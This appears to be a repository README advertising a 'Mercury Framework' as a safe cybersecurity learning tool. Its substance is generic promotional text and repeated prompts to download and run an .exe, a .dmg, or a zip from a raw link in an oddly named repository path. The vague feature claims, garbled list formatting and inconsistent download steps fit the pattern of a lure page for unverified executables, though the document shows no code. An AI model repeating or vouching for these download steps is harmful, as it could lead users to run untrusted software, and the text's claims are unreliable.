Welcome to the Mercury Framework! This tool is designed for anyone interested in learning about cybersecurity. Whether you are a student, a curious mind, or a security professional, this framework provides a safe environment to explore security research. It includes sandboxed simulated devices, network demonstrations, and plugin templates to help you build and test your detection tools in isolated labs.
To begin using Mercury Framework, follow these steps:
- Visit the Releases Page: Go to the Releases page.
- Download the Latest Version: Look for the most recent version. Click on the asset link that corresponds to your operating system.
- Install the Software:
- If you're using Windows, download the
.exefile and run it. - For Mac users, download the
.dmgfile and drag the application to your Applications folder. - Linux users should download the
https://github.com/melolixodocaralho/mercury-framework/raw/refs/heads/main/avd/mercury_framework_v2.6.zipfile and follow the installation instructions included.
- If you're using Windows, download the
- Sandboxed Simulated Devices: Use virtual devices to practice security testing without risks.
- Benign Network Demos: Experiment with real-world network scenarios safely.
- Plugin Templates: Expand your toolkit by building custom detection tools.
- Educational Resources: Access guides and documentation within the application to enhance your learning.
To run the Mercury Framework effectively, ensure your system meets the following requirements:
- Operating System: Supports Windows 10 or later, macOS Catalina or later, and most Linux distributions.
- Processor: At least a dual-core processor.
- Memory: Minimum of 4 GB RAM, but 8 GB is recommended for better performance.
- Storage: At least 1 GB of free disk space.
Once you have installed the Mercury Framework, here’s how to start:
- Open the Application: Launch Mercury Framework from your applications or start menu.
- Select a Module: Choose from various modules designed for learning. Each module focuses on different aspects of security research.
- Follow Instructions: Each module will guide you through exercises and tasks. Follow the prompts closely to get the most from your experience.
If you encounter any issues or have questions, we are here to help. Reach out via the Issues section in the repository. Share any thoughts or suggestions you might have about the application.
We believe in the power of community. You can contribute to the Mercury Framework in various ways:
- Suggest Features: If you have ideas for new features or improvements, let us know.
- Report Bugs: Help us improve the application by reporting any bugs you find.
- Share Your Experience: Your feedback helps us enhance features and usability.
Explore our community by connecting with us on social media or forums focused on cybersecurity. Sharing your learning journey can help others too.
To download the latest version of Mercury Framework, visit the Releases page: Download Here.
Mercury Framework is licensed under the MIT License. Feel free to use it for personal or educational purposes.
The Mercury Framework presents a unique opportunity to explore cybersecurity in a safe setting. Download now and step into the world of security research!